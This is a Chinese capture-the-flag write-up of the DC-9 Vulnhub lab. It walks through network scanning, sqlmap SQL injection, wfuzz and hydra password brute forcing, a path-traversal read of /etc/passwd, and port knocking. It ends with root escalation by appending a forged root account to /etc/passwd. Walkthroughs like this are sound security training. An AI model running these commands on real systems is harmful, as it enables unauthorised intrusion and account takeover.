目录
(一)环境搭建
在官网上下载.ova,直接打开就可以了。
打开页面
(二)主机发现
1、nmap
nmap -sP 192.168.110.1/24
2、netdiscover
netdiscover -i eth0 -r 192.168.110.1/24
3、arp-scan -l
(前二个命令没有错误,我环境没有搭好)
(二)端口扫描
我们在打这样的镜像第二步,一般就是端口扫描,但是如果面对的是真实的网站,先判断是不是web,如果不是找是不是有app程序,实在不行,就要进行资产的信息收集。
nmap -sC -sV -oA dc-9 192.168.1.136
(三)数据库
0x01 访问80端口:
0x02 扫描目录:
nikto -host 192.166.1.136
查看网站源码,目录扫描都没有得到有价值的信息(dirb http://192.168.1.136)
0x03 注入
- 查询到了所有的数据
查看网络情况,输入点url
0x04 sqlmap
1、--dbs
sqlmap -u "http://192.168.1.136/results.php" --data "search=1" --dbs
2、--tables
sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D users --tables
3、--dump
0x05 密码爆破
- 用户名做成user-dict字典
- 密码做成pass-dict字典
- 找到url
wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.1.136/manage.php?
username=FUZZ&password=FUZ2Z "
0x06 尝试另一个库
sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D Staff --tables
我们来找一下Users表
sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D Staff -T Users --dump
尝试登入:
成功进入后台
(四)web后台
在Manage里面找到File does not exist,不难想到LIF漏洞
用wfuzz跑字典,先找到cookie
payload:
wfuzz -b 'PHPSESSID=cq37qk0rm79oh8vtgk2h56' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php
再过滤一下:
wfuzz -b 'PHPSESSID: cq37qk0rm79oh8vtgk2h56lq8p' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php
结果什么都没有。此路不通!
沉默了一会,决定找/etc/passwd
wfuzz -b 'PHPSESSID=cq37qk0rm79oh8vtgk2h56lq8p' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=../../../../../../../../../etc/passwd
访问:
http://192.168.1.136/manage.php?file=../../../../../../../etc/passwd
(五) Hydra爆破SSH密码
尝试使用Hydra爆破SSH,结果提示连接被拒绝……
hydra -L user-dict -P pass-dict 192.168.1.136 ssh
分析
- 端口被限制(防火墙)
- 用户被限制登录
- 运行了knockd服务
knocked服务,博主之前没有接触过,再谷歌上找了半天
[原创]安全系列之端口敲门服务(Port Knocking for Ubuntu 14.04 Server) - wsjhk - 博客园
那么我们就尝试访问这个端口:
敲门
nmap -p 7469 192.168.1.136
nmap -p 8475 192.168.1.136
nmap -p 9842 192.168.1.136
22 port
nmap -p22 192.168.1.136
刚刚那个方式没有打开现在开了。
(六)再次hydra密码爆破
hydra -L user-dict -P pass-dict 192.168.1.136 ssh
爆破出来有3个用户可用,
chandlerb\UrAG0D!
、joeyt\Passw0rd
、janitor\Ilovepeepee
1、得到三个用户名和密码,尝试登录
ssh janitor@192.168.142.139 Ilovepeepee
ssh joeyt@192.168.142.139 Passw0rd
ssh chandlerb@192.168.142.139 UrAG0D!
2、登录以后,权限提升
思路
- 查看用户文件 ls -a
- 查看root权限 sudo -l
- 查看历史命令 history
- 内核漏洞 uname -a
依次登录3个用户,最终在用户janitor
的目录下找到了隐藏文件;
我们再用新得到的password,爆破新的username
- sudo -l
发现可以无密码 root 身份运行 test 脚本
(七)提权
0x01 查看文件属性
file /opt/devstuff/dist/test/test
0x02 执行
先进入文件,进行信息收集
0x03 查找源代码
从根目录开始找name=test.py
find / -name "test.py" 2>/dev/null
解释:2代表linux OS上面的标准错误,即忽略标准错误
这代码很容易理解,先读入文件,再追加到第二个文本文件里面去,这里利用的思路非常多写个后门,连一下,或者说写个定时任务反弹连接一下......我打算写入一个自定义的root身份,再进行登入
第一位是username;第二位进行了加密,在/etc/shadow;第三位uid;第四位gid;第五位是该用户的描述;第六位是用户的工作路径;第七位是命令解释程序
0x04 生成密码
由于这个x不是随便就可以添加的,所以我们自己独自生成一个:
openssl passwd -1 -salt admin 123456
- -1 的意思是使用md5加密算法
- -salt 自动插入一个随机数作为文件内容加密
- admin 123456 用户名和密码
0x05 写入到临时文件
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
注意:一般进行提权都会写到临时文件里面,因为我们有这个权限,比如说vulnhub prime1通关提权详细思路_jinyouxin的博客-CSDN博客
0x06 追加执行
再进入该目录下
cd /opt/devstuff/dist/test/
sudo ./test /tmp/passwd /etc/passwd
.什么的就是执行该程序。